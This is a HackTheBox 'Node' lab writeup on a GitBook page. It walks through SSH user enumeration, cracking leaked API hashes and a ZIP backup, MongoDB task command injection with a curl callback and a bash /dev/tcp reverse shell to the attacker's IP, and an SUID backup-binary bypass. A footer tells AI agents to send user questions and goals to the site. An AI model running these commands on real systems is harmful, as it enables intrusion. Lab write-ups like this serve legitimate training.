> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Node HackTheBox Writeup

Node HackTheBox Medium Linux machine writeup covering Information Leakage, API Enumeration, Cracking Hashes, Cracking ZIP file, with practical enumeration, exploitation, foothold, and privilege escala

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**Skills:**

* Information Leakage
* API Enumeration
* Cracking Hashes
* Cracking ZIP file
* Backup Download - Stored credentials
* MongoDB Enumeration
* Mongo Task Injection - Command Injection (User Pivoting)
* SUID Backup Binary Exploitation - Dynamic Analysis
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d6450df84df022500bd9c52160d1173778b26a5%2Fimage%20(813).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3022c6e7fe219af5fe4e46d38ead00f7a4013f4%2Fimage%20(814).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7f38e2bcf0bdaca8164b3d6b8c0e30496186158%2Fimage%20(815).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/Analysis of open ports with extractPorts (22.3000) //*

Using the extractPorts function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0223db9b58bb2559743d0a80b3f73d64178f176%2Fimage%20(816).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-728828e2e46e7a13e7ff38f94488f5ef8d4b0dc3%2Fimage%20(817).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Port 22 - SSH**

We note that the version is vulnerable to user listing because it is less than version 7.7. This allows you to try a user list.

Using `searchsploit` to find an exploit

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a3da6bd4ba640c1cb962818e374f300dab34243%2Fimage%20(818).png?alt=media" alt=""><figcaption></figcaption></figure>

We use this exploit to check whether a user is valid or not:

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f99ea9527a3529e7cecbe2ebe42af51f5e18259%2Fimage%20(834).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 3000 - HTTP

We find several potential users: `tom`, `mark`, `rastating`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e109cd73e1febddbe7922111e857575065513b01%2Fimage%20(819).png?alt=media" alt=""><figcaption></figcaption></figure>

SSH enumeration with `45939.py` to test users:

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

We note that `tom` and `mark` are valid users.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9b44dd75f873e755d897c098929846fe55ea84c%2Fimage%20(835).png?alt=media" alt=""><figcaption></figcaption></figure>

### List of directories:

We use `gobuster` to enumerate directories on port 3000:

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

No interesting information was found. However, by exploring network queries in Firefox, we find a `latest` file that calls an API.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06807a8b104d60e2ce99ccd0ee92b120bfbd5925%2Fimage%20(820).png?alt=media" alt=""><figcaption></figcaption></figure>

### Exploration of the API:

The API contains a `/users` route that returns sensitive information, including password hashes for several users:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f88eb3485eebee4313dedefab7db2d7f6b472365%2Fimage%20(821).png?alt=media" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c06bb6ab044aa7047d72833bc98adeb3a6ac096%2Fimage%20(822).png?alt=media" alt=""><figcaption></figcaption></figure>

### Password cracking:

We use `crackstation` to crack users' passwords.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d23b5ee470cc70e0aa6e39235cf72cb6e4f9ab20%2Fimage%20(823).png?alt=media" alt=""><figcaption></figcaption></figure>

The decoded passwords are as follows:

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d08b5cbc12dba2bfeed1677fc82ff11b12200842%2Fimage%20(824).png?alt=media" alt=""><figcaption></figcaption></figure>

We manage to connect with the user `myP14ceAdm1nAcc0uNT` in the administration panel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be7257781c669d9aaed59a1b397a230e49033d0b%2Fimage%20(826).png?alt=media" alt=""><figcaption></figcaption></figure>

### Downloading Backup:

The `myP14ceAdm1nAcc0uNT` user allows us to download a backup file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d594e0036f1b5a6a3e62d31ebd224bdcce7be75%2Fimage%20(827).png?alt=media" alt=""><figcaption></figcaption></figure>

The downloaded file contains a Base64 string.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c373a9ef2d0049e6f0bf3d227fc5df7ce5f7b59e%2Fimage%20(828).png?alt=media" alt=""><figcaption></figcaption></figure>

We decode it into a ZIP file:

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f5a245da043b2ba00ead6cfde8c43bc8e713b5%2Fimage%20(829).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute Force on ZIP file:

**Extract the hash with `zip2john`**:

So we'll use zip2john to extract the hash

```bash
zip2john myplace.zip > hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5217cc3a4231bbfe17263a6ad72108f7d1c2a0f%2Fimage%20(831).png?alt=media" alt=""><figcaption></figcaption></figure>

**Password tracking with `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Result**: Password found - `magicword`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b41b1a155580db056f06be86ecb2913b3a9c5fd%2Fimage%20(830).png?alt=media" alt=""><figcaption></figcaption></figure>

We manage to unzip the ZIP file, which contains a site backup in the `/var` directory.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6df8fd8ab393e69b5823e14385857761e27b028%2Fimage%20(832).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68032f8b3385385a60059072d4d943f4ae00f679%2Fimage%20(833).png?alt=media" alt=""><figcaption></figcaption></figure>

### Exploration of `app.js`:

In the `app.js` file, we find sensitive information, including a user (`mark`) and associated password to access the database:

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a10f66ac171180d8455caa34d782a14273e918%2Fimage%20(836).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH connection with `mark`:

We use the recovered information to connect to SSH with the user `mark`:

```bash
ssh mark@10.10.10.58 
```

Password: `5AYRft73VtFpc84k`

We now have access to the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab3f5872971d26448ccecc1476176cf5a391c37e%2Fimage%20(837).png?alt=media" alt=""><figcaption></figcaption></figure>

## Pivoting User Tom

We now need to rotate to user **tom**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e860b84f31a230d6f1bb6ca27d3db7f00e8cf8d%2Fimage%20(838).png?alt=media" alt=""><figcaption></figcaption></figure>

### Connection to MongoDB base

Looking at the current processes, we notice that **tom** runs a `app.js` file with Node.js.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aecd3069b1794efe68ceead1294729d117b63a5a%2Fimage%20(840).png?alt=media" alt=""><figcaption></figcaption></figure>

This file connects to the `scheduler` database using the same credentials as the user **mark**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470b6cccacde2de11832874e5469136038cad6c8%2Fimage%20(841).png?alt=media" alt=""><figcaption></figcaption></figure>

To access the database, we use **mark** credentials:

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cffc7eb1c4d2f9d0f23bb7914742bc5ba8bcb0ca%2Fimage%20(842).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell MongoDB

The `app.js` script executes system commands from MongoDB documents (via `doc.cmd`). This presents a critical vulnerability, as arbitrary commands can be injected and executed.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bd17dba05d12847570ce940223a0322b85a2708%2Fimage%20(843).png?alt=media" alt=""><figcaption></figcaption></figure>

To confirm that we can execute commands via MongoDB

**Create a local web server**

On the attacking machine, run a web server to observe requests:

```bash
python3 -m http.server 80
```

**Insert a test command in the `tasks` collection**

In MongoDB, insert a command that performs an HTTP query to your attacking machine

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observe requests**

If you see a query in the web server logs, this confirms that the commands are executed.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30c6693db64e9323f5c5bd55cce4d54bb485d0ea%2Fimage%20(844).png?alt=media" alt=""><figcaption></figcaption></figure>

Launch a reverse shell.

on se met en ecoute port 443

```bash
nc -nlvp 443
```

#### Launch a Reverse Shell

**Configure earphone on port 443** On the attacking machine:

```bash
nc -nlvp 443
```

**Insert shell reverse command**

In MongoDB, insert a command to establish a shell reverse:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Successful connection** Once the command is executed, you get an interactive shell on the target machine under the user **tom**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05c62263fef0e9fc6ca8f2d279c12b45044db653%2Fimage%20(845).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal Stabilization

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae0047a72eb461382ed79349e0bc30668b4087a8%2Fimage%20(846).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation

### SUID Binary (backup)

To search for files with the enabled SUID bit, the following command is used:

```bash
find / -perm -4000 2>/dev/null
```

This allows us to find a binary called `backup`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6922b7592f3cf4098f90ff1c3ce0a0f30c4e33c%2Fimage%20(2694).png?alt=media" alt=""><figcaption></figcaption></figure>

The owner of the binary is `root`, which means it runs with root user privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fcb0660850c1e58e8cef901fefeb0d47b831dfd%2Fimage%20(2695).png?alt=media" alt=""><figcaption></figcaption></figure>

When we try to run this binary directly, nothing happens. However, by testing different entries, we discover that it accepts a string of three characters separated by spaces, which reveals the available functions:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00176e6ae952d6c12ee2591674b1c71bc529b2d2%2Fimage%20(2696).png?alt=media" alt=""><figcaption></figcaption></figure>

By looking at the `app.js` file, we find information about the use of binary, as well as a key needed for its execution. The key is located at the top of the file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea3eb180eb20afb5065e5116da7d5531f1460f%2Fimage%20(2697).png?alt=media" alt=""><figcaption></figcaption></figure>

To use binary, we need to provide the key, followed by the directory path to save.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd8425aa280b95d8263516507e2c1a635339b9eb%2Fimage%20(2698).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

This generates a Base64 output.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d78f5c24e2fbd08a0ac7cde16882e7ee5e5a01a%2Fimage%20(2699).png?alt=media" alt=""><figcaption></figcaption></figure>

The Base64 output can be decoded into a `.zip` file using the following command:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9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g/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add6eb228092d08995a4a22ec00be62184a234ed%2Fimage%20(2700).png?alt=media" alt=""><figcaption></figcaption></figure>

The zip file is password protected. We use the password found previously

* password: `magicword`

However, the `root.txt` file contained in the archive is a lure (rabbit hole).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79d0d9d098154a4960f1ded8fe2d58fdf3a04e16%2Fimage%20(2701).png?alt=media" alt=""><figcaption></figcaption></figure>

### Detailed analysis with `ltrace`

Using `ltrace`, we observe that the binary compares the path `/root` with that provided in argument. If the paths match, it displays a troll cartoon.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9399086f5f711c882db95e7cc13bf7e3dc7b9b%2Fimage%20(2702).png?alt=media" alt=""><figcaption></figcaption></figure>

To bypass this check, we run the binary from the root (`/`) by requesting a backup of `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8e2ee2015d0e34119833bfc5a61210be94dc54f%2Fimage%20(2704).png?alt=media" alt=""><figcaption></figcaption></figure>

The new release is also in Base64. We decode it to get the final content:

{% code overflow="wrap" %}

```bash
echo "UEsDBAoAAAAAABGYKVoAAAAAAAAAAAAAAAAFABwAcm9vdC9VVAkAA9EcgGfqbIBndXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIANGDEUd/sK5kgwAAAJQAAAANABwAcm9vdC8ucHJvZmlsZVVUCQADGf7RVepsgGd1eAsAAQQAAAAABAAAAAD8r00Pw3PJzvStJe+DfzUN8UNUW9s/8c8gxkn6EbwYFjz6EhlqrWUgrE7OqsE9WqQ5px0gtdidq+HlM1/RkD9oFAvZq2hqDfFORRfDgUJkbsn99iSSc2gM+StxSVn+NwjTSJmnXOZ0NgrUUlL4pKssLirrSoQfcLHFKnm9iDACjDudg1BLBwh/sK5kgwAAAJQAAABQSwMECgAAAAAAGYkQVQAAAAAAAAAAAAAAAAwAHAByb290Ly5jYWNoZS9VVAkAAxLB+2LqbIBndXgLAAEEAAAAAAQAAAAAUEsDBAoACQAAADR8I0sAAAAADAAAAAAAAAAgABwAcm9vdC8uY2FjaGUvbW90ZC5sZWdhbC1kaXNwbGF5ZWRVVAkAA8MSrFnqbIBndXgLAAEEAAAAAAQAAAAAJAoQ4rlz0JUFN3WWUEsHCAAAAAAMAAAAAAAAAFBLAwQKAAkAAAARmClaSGwEni0AAAAhAAAADQAcAHJvb3Qvcm9vdC50eHRVVAkAA9EcgGfqbIBndXgLAAEEAAAAAAQAAAAAfA1LkIWwnmjKTmFRqOfoE3IHt89EPpr418bsZ2VnLwVbzA44q6MFmdvUToc6UEsH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WdhbC1kaXNwbGF5ZWRVVAUAA8MSrFl1eAsAAQQAAAAABAAAAABQSwECHgMKAAkAAAARmClaSGwEni0AAAAhAAAADQAYAAAAAAABAAAAoIHVAQAAcm9vdC9yb290LnR4dFVUBQAD0RyAZ3V4CwABBAAAAAAEAAAAAFBLAQIeAxQACQAIAOuRVke95RA+mwUAACIMAAAMABgAAAAAAAEAAACkgVkCAAByb290Ly5iYXNocmNVVAUAA6kZKVZ1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACADEZRFV4P5Up0QBAACFAgAADQAYAAAAAAABAAAAgIFKCAAAcm9vdC8udmltaW5mb1VUBQAD/9T8YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAABmJEFUAAAAAAAAAAAAAAAALABgAAAAAAAAAEADtQeUJAAByb290Ly5uYW5vL1VUBQADEsH7YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoACQAAAMZKO0vZ7R88EwAAAAcAAAAZABgAAAAAAAEAAACAgSoKAAByb290Ly5uYW5vL3NlYXJjaF9oaXN0b3J5VVQFAAOzX8tZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAAJAAkA/gIAAKAKAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

### Flag root.txt :)

By extracting the final file, we access the desired content.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-597ef9ae304190da28e338a8b46bb5914d17eb08%2Fimage%20(2706).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9975137b038e2d13235d78a8413a013245f329f8%2Fimage%20(2705).png?alt=media" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
